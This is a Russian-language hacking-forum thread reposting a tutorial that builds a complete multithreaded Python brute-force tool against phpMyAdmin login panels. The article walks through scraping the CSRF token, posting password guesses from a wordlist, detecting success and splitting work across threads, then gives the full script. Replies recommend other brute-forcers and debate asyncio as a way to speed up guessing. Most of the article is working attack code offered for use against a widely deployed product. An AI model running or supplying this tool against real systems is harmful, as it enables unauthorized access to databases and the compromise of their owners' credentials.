• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем Bruteforce для панели PHPmyadmin с нуля: работаем, используя Python3

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Вступление

Доброго времени суток, сегодня мы с вами будем писать небольшую программу для брутфорс атаки на панель авторизации, на замечательном языке Python3.

Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.

Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.

Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.

Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.

Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр "set_session" и "token" меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.

Начинаем писать код

Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.

Нам понадобятся следующие библиотеки:
Код:
beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9
Устанавливаем их:
Код:
pip install requests && pip install bs4 && pip install lxml

Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.

Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
  1. Нужно получить "set_session" и еще некоторые данные, а именно "token" и "server".
  2. Механизм попытки авторизации.
  3. Получить аргументы командной строки (параметры такие как "имя пользователя", "url" и "лист паролей") которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
  4. Реализовать сам алгоритм перебора паролей.
  5. Реализуем многопоточность, да GIL, но мы же учимся !
Итого у нас получиться 5 классов:
  • TargetData - для получение данных от панели PhpMyAdmin.
  • PhpMyAdminAuthorization - с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
  • UserArgument - который будет работать с пользовательскими данными.
  • BruteForceAttack - как не удивительно, класс который будет реализовывать методы для брутфорса.
  • Threads - для методов реализации многопоточности.
Затем импортируем библиотеки:
Python:
import requests
import threading
import argparse
import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4
Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.

Далее немного библиотеки "requests" в которой говорится, что объект "Session" позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:
Python:
class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')
Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе "token" и "server".
Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
  • Они возвращают разные данные.
  • Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
  • Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
Python:
    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value
Python:
class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')

    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value
На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это "url"," user_name" и "user_password".

Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием "php_my_admin_url":
Python:
class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password
Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.
Создаем список с параметрами, сервер и токен берем из методов класса "TargetData" от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:
Python:
    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization
И добавим нашему классу "PhpMyAdminAuthorization" еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение "True" или "False" в зависимости от того, есть ли в результате авторизации строка "Cannot log in to the MySQL server", если нет, то "True" и "False" во всех остальных случаях.
Python:
    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization
Python:
class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password

    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization

    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization
Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.

Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:
Python:
class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()
Первый метод у нас "add_arguments()" и он очень прост, добавляет аргументы к объекту "настройки пользователя для брутфорса":
Python:
    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

Следующий метод "check_valid_target_url()" - проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:
Python:
    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('\nThi\'s target not phpmyadmin panel\n')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()
Далее пытаемся открыть файл пользователя с паролями, если это не удалось - просим указать корректный лист паролей и проверяем его на валидность вновь:
Python:
    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('\nCould not find file\n')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()
Третий способ - это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:
Python:
    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('\nGiven number of threads, not an integer or entered incorrectly\n')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

Теперь добавим нашему классу "UserArgument" еще несколько методов, все они возвращают нам те или иные значения:
Python:
    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads
Python:
class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()

    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('\nThi\'s target not phpmyadmin panel\n')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()

    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('\nCould not find file\n')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()

    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('\nGiven number of threads, not an integer or entered incorrectly\n')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads
Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.
Объявляем класс "BruteForceAttack" и в конструктор кладем значение которые нам вернут методы из "UserArgument":
Python:
class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()
Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.

После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из "self.passwords_list[от - до]".

В цикле создаем экземпляр класса "PhpMyAdminAuthorization" с параметрами, которые мы получили из класса "UserArgument" и если его метод "get_result_authorization()" вернет нам "True", то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:
Python:
    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass
Python:
class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()

    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass
Остался еще последний (почти) штришок - многопоточность. Объявляем класс "Threads" и наследуем от класса "Thread" из библиотеки "Threading".
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:
Python:
class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list
А пока добавим метод "run()", который будет вызывать класс "BruteForceAttack" экземпляр, которого мы создадим уже скоро:
Python:
def run(self):
    brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
Python:
class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list

    def run(self):
        brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
По ходу написания статьи я понял, что стоит добавить еще один класс который назвал "StartProgram" с методом "main()".
Вот он:
Python:
class StartProgram:
    def __init__(self):
        self.number_threads = int(user_setting.get_number_threads())
        self.length_password_list = len(user_setting.get_password_list())

    def main(self):
        start_list = 0
        max_list = self.length_password_list // self.number_threads
        for i in range(self.number_threads):
            thread = Threads(start_list, max_list)
            start_list = max_list
            max_list = start_list + self.length_password_list // self.number_threads
            thread.start()

А теперь поговорим о тех самых непонятных переменных "start_of_list" и "end_of_list" из класса "Threads".
В конструкторе класса "StartProgram" мы объявляем две переменные одна из которых является "integer" значением, которое нам возвращает метод "get_number_threads()" класса "UserArgument".

А вторая длинной значения которое возвращает его же метод "get_password_list()"
Дальше в методе "main()" класса "StartProgram" происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.

Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода "main() Threads" будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе "Threads" будет вызван поток для объекта "brute_force_attack". Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.

Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:
Python:
if __name__ == '__main__':
    user_setting = UserArgument()
    brute_force_attack = BruteForceAttack()
    StartProgram().main()
И по традиции весь код целиком:
Python:
import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4

class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')

    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value

class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password

    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization

    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization

class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()

    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('\nThi\'s target not phpmyadmin panel\n')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()

    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('\nCould not find file\n')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()

    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('\nGiven number of threads, not an integer or entered incorrectly\n')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads

class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()

    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass

class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list

    def run(self):
        brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

class StartProgram:
    def __init__(self):
        self.number_threads = int(user_setting.get_number_threads())
        self.length_password_list = len(user_setting.get_password_list())

    def main(self):
        start_list = 0
        max_list = self.length_password_list // self.number_threads
        for i in range(self.number_threads):
            thread = Threads(start_list, max_list)
            start_list = max_list
            max_list = start_list + self.length_password_list // self.number_threads
            thread.start()

if __name__ == '__main__':
    user_setting = UserArgument()
    brute_force_attack = BruteForceAttack()
    StartProgram().main()
Заключение и тестирование нашей программы

Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле.

Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.

speed_my_brute.png


Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.

Буду ждать комментариев.

автор Proxy n1nja
источник codeby.net
 
Интересно получается, статью писал я, потом она оказалась тут и лайки летят тому кто ее скопипастил. Хех)
А вот надо было сразу сюда и получал бы лайки тут, а нетам.
А вобще ззачем столько библиотек? столько кода?
https://github.com/safflower/phpmyadmin-authentication-bruteforce
Ну или для совсем ленивых взяьть patator
 
Интересно получается, статью писал я, потом она оказалась тут и лайки летят тому кто ее скопипастил. Хех)
я по ходу своей основной работы ежедневно просматриваю много материалов. часть и то, что мне понравилось, закидываю на дамагу. но всегда и в обязательном порядке пытаюсь замаслить автора - ставлю источник, копирайты. я это делаю для форума, лайки сильно не нужны )
хорошо, что ты отписался, теперь и ты получишь заслуженные отклики )
А вот надо было сразу сюда и получал бы лайки тут, а нетам.
не будь так жесток ) человек написал с иронией. да и он писал трудился, поделился стафом. имеет заслуженное право получить отклик на статью. ради этого и пишется жеж _)
 
А вот надо было сразу сюда и получал бы лайки тут, а нетам.
А вобще ззачем столько библиотек? столько кода?
https://github.com/safflower/phpmyadmin-authentication-bruteforce
Ну или для совсем ленивых взяьть patator
То что ты прислал имеет куда больше библиотек. не имеет многопоточности а так же возможности нормально поддерживать и дорабатывать приложение т.к. без ооп менять одну и туже хрень в коде, тот еще мазохизм.
А что касается пататора, возможно он работает лучше(не тестил) но мне было быстрее написать свой инструмент чем разбираться с ним.
 
А вот надо было сразу сюда и получал бы лайки тут, а нетам.
А вобще ззачем столько библиотек? столько кода?
https://github.com/safflower/phpmyadmin-authentication-bruteforce
Ну или для совсем ленивых взяьть patator
Гуронио, хватит везде этот пататор советовать, это лапшикодное полуживое говно.
 
Есть чудесная библиотека grab, которая за тебя создаст сессию, подставит рандомный юзерагент, автоматически отправит csrf. Тебе останется только вставить креды по id элемента и сделать grab.submit()
 
Статья интересная, но вместо тредов с реквестами лучше использовать aiohttp c asyncio в данном контексте. Асинхронность неплохо пробустит по скорости, что собственно и является в приоритете для программ выполняющих перебор
 
Статья интересная, но вместо тредов с реквестами лучше использовать aiohttp c asyncio в данном контексте. Асинхронность неплохо пробустит по скорости, что собственно и является в приоритете для программ выполняющих перебор
Нет, в данном случае асинхроность будет медленее чем потоки. Асинхроность в питоне имеет смысл использовать только тогда, когда мы ожидаем ответ от сервера большое количество времени. В остальных случаях это работает медленнее.
 
Очень прошу без хамства. Ведь можно обсудить профессионально и дружелюбно.
Нет. Любое время ответа (любая IO операция) даст преимущество в асинхронности.
200 потоков, серьезно? О переключении контекста (GIL) ты не слышал?
И работа со списком паролей просто "прекрасна". Неужели это лучше чем очереди?
 
Последнее редактирование:
Нет. Любое время ответа (любая IO операция) даст преимущество в асинхронности.
200 потоков, серьезно? О переключении контекста (GIL) ты не слышал?
И работа со списком паролей просто "прекрасна". Неужели это лучше чем очереди?
Ты можешь сделать тесты, переписав код под асинхронность и посмотреть время выполнения. Думаю многим будет интересно посмотреть.
 
Я уже делал такие тесты, поэтому уверенно утверждаю, что ты не прав. Элементарно, возьми бенчмарк из любой статьи с заголовком, типа, "threading vs asyncio" и всё станет очевидно.
Ну и проверь свой же скрипт на одном файле с пассами, но с разным количеством тредов. Увидишь что после 50-70 будет просадка в скорости.
 
Ты можешь сделать тесты, переписав код под асинхронность и посмотреть время выполнения. Думаю многим будет интересно посмотреть.
В том и прикол, что я так же писал свой брутфорс и так же сталкивался с тем, что мой перебор довольно медленно работает и многопоточностью его не разогнать, т.к запросы происходят синхронно. Т.е что бы сделать следующий запрос ты должен получить ответ от предыдущего, а во время ожидания ответа твой поток ничего не делает, вот в этом и загвоздка. Решился вопрос с помощю aiohttp + asyncio вместо requests, собственно почему я и написал тот комментарий.
По теме отличная статья на Хабре обьясняющая что к чему
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх